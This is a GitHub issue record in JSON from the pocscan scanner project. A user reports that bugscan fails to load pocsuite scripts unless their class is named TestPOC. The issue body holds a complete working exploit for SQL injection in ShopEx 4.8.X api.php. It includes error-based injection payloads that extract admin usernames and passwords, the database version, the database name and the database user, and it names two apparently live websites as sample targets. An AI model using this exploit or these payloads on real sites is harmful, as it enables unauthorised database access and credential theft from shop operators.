{"action":"created","issue":{"url":"https://api.github.com/repos/erevus-cn/pocscan/issues/37","repository_url":"https://api.github.com/repos/erevus-cn/pocscan","labels_url":"https://api.github.com/repos/erevus-cn/pocscan/issues/37/labels{/name}","comments_url":"https://api.github.com/repos/erevus-cn/pocscan/issues/37/comments","events_url":"https://api.github.com/repos/erevus-cn/pocscan/issues/37/events","html_url":"https://github.com/erevus-cn/pocscan/issues/37","id":171048599,"number":37,"title":"调用pocsuite的poc的问题","user":{"login":"wivd","id":9793894,"avatar_url":"https://avatars.githubusercontent.com/u/9793894?v=3","gravatar_id":"","url":"https://api.github.com/users/wivd","html_url":"https://github.com/wivd","followers_url":"https://api.github.com/users/wivd/followers","following_url":"https://api.github.com/users/wivd/following{/other_user}","gists_url":"https://api.github.com/users/wivd/gists{/gist_id}","starred_url":"https://api.github.com/users/wivd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wivd/subscriptions","organizations_url":"https://api.github.com/users/wivd/orgs","repos_url":"https://api.github.com/users/wivd/repos","events_url":"https://api.github.com/users/wivd/events{/privacy}","received_events_url":"https://api.github.com/users/wivd/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2016-08-14T08:33:55Z","updated_at":"2016-08-22T00:37:26Z","closed_at":null,"body":"possuite的pco文件\r\n#!/usr/bin/env python\r\n# coding: utf-8\r\nimport re\r\n\r\nfrom pocsuite.net import req\r\nfrom pocsuite.poc import POCBase, Output\r\nfrom pocsuite.utils import register\r\n\r\n\r\nclass ShopexApi(POCBase):\r\n    vulID = '1'  # vul ID\r\n    version = '1'\r\n    author = 'wivd'\r\n    vulDate = '2016-3-30'\r\n    createDate = '2016-3-30'\r\n    updateDate = '2016-3-30'\r\n    references = ['  ']\r\n    name = 'ShopEx-4.8.X  api.php注入漏洞 '\r\n    appPowerLink = 'tmp'\r\n    appName = 'ShopEx'\r\n    appVersion = '4.8.X'\r\n    vulType = 'SQL Injection'\r\n    desc = '''\r\n        ShopEx-4.8.X  api.php注入漏洞\r\n        爆用户和密码\r\nact=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select concat(0x245E,username,0x2D3E,userpass,0x5E24) from sdb_operators limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#\r\n\r\n爆数据版本\r\nact=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#\r\n\r\n爆数据库\r\nact=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select database()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#\r\n\r\n爆数据库用户\r\nact=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select user()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#\r\n\r\n    '''\r\n\r\n    samples = ['http://dmdpower.cn','http://eb166.com']\r\n\r\n    def _attack(self):\r\n        return self._verify()\r\n\r\n    def _verify(self, verify=True):\r\n        result = {}\r\n        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0','Content-Type': 'application/x-www-form-urlencoded','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'}\r\n        vul_url =  self.url + \"/api.php\"\r\n        payload = \"act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x23,(select concat(username,0x23,userpass) from sdb_operators limit 0,1),0x23,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#\"\r\n        response =req.post(vul_url, data=payload,headers=headers)\r\n        content = response.content\r\n        data = re.search(r\"(Duplicate entry.*)\\#(.*)\\#(.*)\\#(.*)\",content)\r\n        if response.status_code == 200 and  data != None:\r\n            result = {'VerifyInfo':{},'AdminInfo':{}}\r\n            result['VerifyInfo']['URL'] = self.url\r\n            result['AdminInfo']['Username'] = data.group(2)\r\n            result['AdminInfo']['Password'] = data.group(3)\r\n            result['VerifyInfo']['data'] =data.group()\r\n        return self.parse_attack(result)\r\n\r\n    def parse_attack(self, result):\r\n        output = Output(self)\r\n        if result:\r\n            output.success(result)\r\n        else:\r\n            output.fail('Internet nothing returned')\r\n        return output\r\n\r\nregister(ShopexApi)\r\n--------------------------------------------------------------------------------------------------------\r\npocsuite模块可以执行，可以检测到漏洞。而bugscan在调用此poc的时候，会有问题，执行之后没有检测到漏洞，结果中无数据，查看日志，bugscan调用pocsuite的时候类名统一为TestPOC ，把上述脚本修改为class ShopexApi(POCBase): ====> class TestPOC(POCBase):  ,register(ShopexApi) ===》 register(TestPOC)后可以正确执行。pocsuite脚本中，由于人员差异，起的类名可能各有差异，建议优化一下pocsuite类名的问题。"},"comment":{"url":"https://api.github.com/repos/erevus-cn/pocscan/issues/comments/241292772","html_url":"https://github.com/erevus-cn/pocscan/issues/37#issuecomment-241292772","issue_url":"https://api.github.com/repos/erevus-cn/pocscan/issues/37","id":241292772,"user":{"login":"wivd","id":9793894,"avatar_url":"https://avatars.githubusercontent.com/u/9793894?v=3","gravatar_id":"","url":"https://api.github.com/users/wivd","html_url":"https://github.com/wivd","followers_url":"https://api.github.com/users/wivd/followers","following_url":"https://api.github.com/users/wivd/following{/other_user}","gists_url":"https://api.github.com/users/wivd/gists{/gist_id}","starred_url":"https://api.github.com/users/wivd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wivd/subscriptions","organizations_url":"https://api.github.com/users/wivd/orgs","repos_url":"https://api.github.com/users/wivd/repos","events_url":"https://api.github.com/users/wivd/events{/privacy}","received_events_url":"https://api.github.com/users/wivd/received_events","type":"User","site_admin":false},"created_at":"2016-08-22T00:37:26Z","updated_at":"2016-08-22T00:37:26Z","body":"我自己的poc当然已经修改了，只是提了一个不兼容的隐患。"}}
{"actor":{"display_login":"wivd"}}